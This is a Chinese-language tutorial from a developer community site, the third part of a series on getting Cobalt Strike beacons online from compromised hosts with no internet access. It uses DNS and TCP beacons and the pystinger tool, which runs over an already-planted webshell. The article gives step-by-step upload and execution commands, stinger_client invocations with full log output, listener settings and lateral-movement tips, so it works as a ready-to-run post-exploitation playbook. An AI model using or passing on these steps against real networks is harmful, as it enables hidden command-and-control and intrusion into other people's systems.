AI 助理
文档备案控制台
开发者社区 安全 文章 正文

干货|不出网上线CS的各种姿势（三）

2023-02-14 645
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
简介： 干货|不出网上线CS的各种姿势

三、cs上线

生成cs的stageless上线马，执行上线

stageless 马 dns有x64版本 , stager没有

上线之后是黑框，需要使用checkin命令让dns beacon强制回连teamserver

PS:需要多等一会

这样就可以正常交互了：

边缘机器不出网

方法一、TCP Beacon 正向连接

<font color='red'>应用场景：边缘机器各种协议均不出网，但是可以正向访问到。</font >

使用：

先让自己的攻击机上线

然后，如"上线方法四"一样，使用TCP Beacon生成一个stageless形式的木马，上传到目标机器，并运行。

在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接，即可上线：

方法二、使用pystinger(毒刺)工具

<font color='red'>应用场景：边缘机器各种协议均不出网，但是存在web服务，已经拿到webshell。</font >

项目地址:

https://github.com/FunnyWolf/pystinger

简单原理：

Pystinger来实现内网反向代理，利用http协议将目标机器端口映射至cs服务端监听端口，能在只能访问web服务且不出网的情况下可以使其上线cs

使用

地址:

https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md

这里直接复制过来了：

假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11

SOCK4代理

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • 此时已经在vps127.0.0.1:60000启动了一个example.com所在内网的socks4a代理
  • 此时已经将目标服务器的127.0.0.1:60020映射到vps的127.0.0.1:60020

cobalt strike单主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端

不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 127.0.0.1:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.1
  • 生成payload,上传到主机运行后即可上线

cobalt strike多主机上线

  • proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8
  • 将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行
start D:/XXX/stinger_server.exe 192.168.3.11
  • 启动服务端

192.168.3.11可以改成0.0.0.0

root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ...
2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass
2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000
2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ...
2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass
2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp
2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ...
2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass
2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config ---
2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => []
2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010
2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO
2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 192.168.3.11:60020
2020-01-06 21:12:47,697 - INFO - 647 - mirror_address_list => []
2020-01-06 21:12:47,697 - INFO - 647 - READ_BUFF_SIZE => 51200
2020-01-06 21:12:47,697 - INFO - 673 - TARGET_ADDRESS : 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 677 - SLEEP_TIME : 0.01
2020-01-06 21:12:47,697 - INFO - 679 - --- RAT Config ---
2020-01-06 21:12:47,697 - INFO - 681 - Handler/LISTEN should listen on 127.0.0.1:60020
2020-01-06 21:12:47,697 - INFO - 683 - Payload should connect to 192.168.3.11:60020
2020-01-06 21:12:47,698 - WARNING - 111 - LoopThread start
2020-01-06 21:12:47,703 - WARNING - 502 - socks4a server start on 127.0.0.1:60000
2020-01-06 21:12:47,703 - WARNING - 509 - Socks4a ready to accept
  • cobalt strike添加监听,端口选择RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为192.168.3.11(example.com的内网IP地址)
  • 生成payload,上传到主机运行后即可上线
  • 横向移动到其他主机时可以将payload指向192.168.3.11:60020即可实现出网上线

定制Header及proxy

  • 如果webshell需要配置Cookie或者Authorization,可通过--header参数配置请求头
--header "Authorization: XXXXXX,Cookie: XXXXX"
  • 如果webshell需要通过代理访问,可通过--proxy设置代理
--proxy "socks5:127.0.0.1:1081"

测试

攻击机：192.168.1.89

假设我们在拿下一台目标主机，但是无法连接外网。

使用 pystinger 工具进行 CS 上线，下载地址，通过 webshell 实现内网 SOCK4 代理，端口映射可以使目标不出网情况下在 CS 上线。

首先上传对应版本脚本到目标服务器。

将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start stinger_server.exe启动服务端

把 stinger_client 上传到 teamserver 服务器，-w 指定 proxy 的 url 地址运行。

chmod +x stinger_client
./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

CS 新建监听器，设置为目标机器的内网 IP，端口默认 60020。(teamserver 服务器和执行 stinger_client 应为同一台服务器)

生成木马，上传目标服务器并执行。可看到 CS 有新上线主机。

文章标签：
网络协议
安全
亿人安全
目录
相关文章
亿人安全
|
网络协议 Linux 网络安全
干货|不出网上线CS的各种姿势（二）
干货|不出网上线CS的各种姿势
亿人安全
914 0
讓丄帝愛伱
|
Oracle 关系型数据库 MySQL
MySQL复制表结构create table as与like的区别
MySQL复制表结构create table as与like的区别
讓丄帝愛伱
627 0
小陈写代码
|
5月前
|
人工智能 弹性计算 异构计算
2026年阿里云gpu云服务器活动参考：T4、V100、A10卡包月5折起，包年4折起
2026年阿里云推出GPU云服务器优惠活动，涵盖T4、V100、A10等多规格实例，活动截止到3月31日。活动对象为阿里云实名认证用户，新用户首购可享包年包月4折起、按量付费最长100小时1折起的优惠。具体型号与价格如gn7i-c32g1.8xlarge（A10卡）3213.99元/月起，gn6v-c8g1.2xlarge（V100卡）3830元/月起。活动支持包年包月与按量付费两种模式，满足AI训练、图形渲染等多场景需求，助力用户低成本开启AIGC之旅。
小陈写代码
2048 2
海天一际
|
5月前
|
人工智能 API 开发工具
2026年 AI 大模型 LLM API 应用开发指南：从原理到工程实践
本文将带你从零开始深入了解LLM（大语言模型）API开发。我们将剥离复杂的数学原理，专注于工程实践，涵盖从核心概念（Token、Prompt、Temperature）到环境配置、API选择、以及构建真实对话应用的完整流程。如果你是正在寻求AI转型的开发者，或者希望快速将LLM能力集成到产品中的工程师，这篇文章将是你的最佳起点。
海天一际
1900 3
sysin
|
6月前
|
安全 网络安全 API
Burp Suite Professional 2025.12 for macOS x64 & ARM64 - 领先的 Web 渗透测试软件
Burp Suite Professional 2025.12 for macOS x64 & ARM64 - 领先的 Web 渗透测试软件
sysin
279 0
陈明勇
|
算法 测试技术 Go
Go 1.24.0 重磅发布：新特性、新工具，开发者必看！
`Go 1.24.0` 已正式发布，带来诸多改进和新特性。语言层面上，泛型类型别名现已被完全支持；性能方面，通过优化 `map` 实现和内存分配，减少了 2-3% 的 CPU 开销；工具链新增模块工具依赖跟踪及测试分析器；标准库增加了弱引用包、FIPS 140-3 合规机制等；WebAssembly 支持也得到了增强。快来下载体验吧！
陈明勇
889 15
ReturnTmp
|
安全 关系型数据库 MySQL
一文教你如何防御数据库渗透入侵
一文教你如何防御数据库渗透入侵
ReturnTmp
852 0
一文教你如何防御数据库渗透入侵
阿里云计算巢-雲尧
|
数据可视化 安全 IDE
快速部署Langflow构建低代码应用
本文介绍了Langflow的基本信息，并通过阿里云计算巢完成了Langflow的快速部署，使用者不需要自己下载代码，不需要自己安装复杂的依赖，不需要了解底层技术，只需要在控制台图形界面点击几下鼠标就可以快速部署并启动Langflow，非技术同学也能轻松搞定。
阿里云计算巢-雲尧
3289 2
wljslmz
|
算法 网络协议 物联网
BLE的两种广播方式：扩展广播和周期性广播
【7月更文挑战第15天】
wljslmz
2992 0
BLE的两种广播方式：扩展广播和周期性广播
Z2O安全攻防
|
网络协议 安全 Linux
不出网上线CS的各种姿势
不出网上线CS的各种姿势
Z2O安全攻防
1492 0

热门文章

最新文章

  • 1
    .NET Core多平台开发体验[4]: Docker
  • 2
    如何在 Ubuntu 24.04 LTS 上安装 SSH 服务器？
  • 3
    浅谈GPU虚拟化技术（五）：GPU图形渲染虚拟化的业界难题-VDI的用户体验
  • 4
    【项目笔记】：elementui下拉框数据太多造成页面卡顿怎么解决？
  • 5
    鲲鹏开发重点––ARM CPU的推测执行
  • 6
    Index alias — Elastic Stack 实战手册
  • 7
    IIS发生意外错误0x8ffe2740
  • 8
    手动注入PHP
  • 9
    环境搭建、部署备忘
  • 10
    sns研究 初步研究.粗看.
  • 1
    2026年阿里云618年中大促全攻略：AI加速季，年度低价云服务器推荐指南
    100
  • 2
    零基础入门教程：阿里云 Hermes Agent 一键部署完整流程详解（图文版）
    70
  • 3
    LLM增强的网易云API部署用于鸿蒙原生音乐app: Melotopia
    52
  • 4
    多智能体集群审计机制设计：免疫、熔断与信誉治理
    80
  • 5
    面试官问：什么是 Harness 工程？AI Agent 时代，测试人必须补上的新能力
    71
  • 6
    我如何用Skills-RAG构建企业级测试知识库，新人上手自动化只需1天
    45
  • 7
    保姆级教学！阿里云服务器从零搭建Hermes Agent AI智能体配置Token Plan流程
    49
  • 8
    超详细实操指南：阿里云ECS服务器从零部署 OpenClaw 配置APIKEY、运维一站式教程
    56
  • 9
    高校第三方外包平台数据泄露风险与防御体系研究
    42
  • 10
    语音钓鱼结合无文件攻击的 M365 数据勒索防御研究
    45

    • 相关电子书

    更多
  • 低代码开发师（初级）实战教程
  • 冬季实战营第三期：MySQL数据库进阶实战
  • 阿里巴巴DevOps 最佳实践手册
    • 下一篇
    阿里云正式发布 Agentic 代码安全：AI驱动的双Agent协同引擎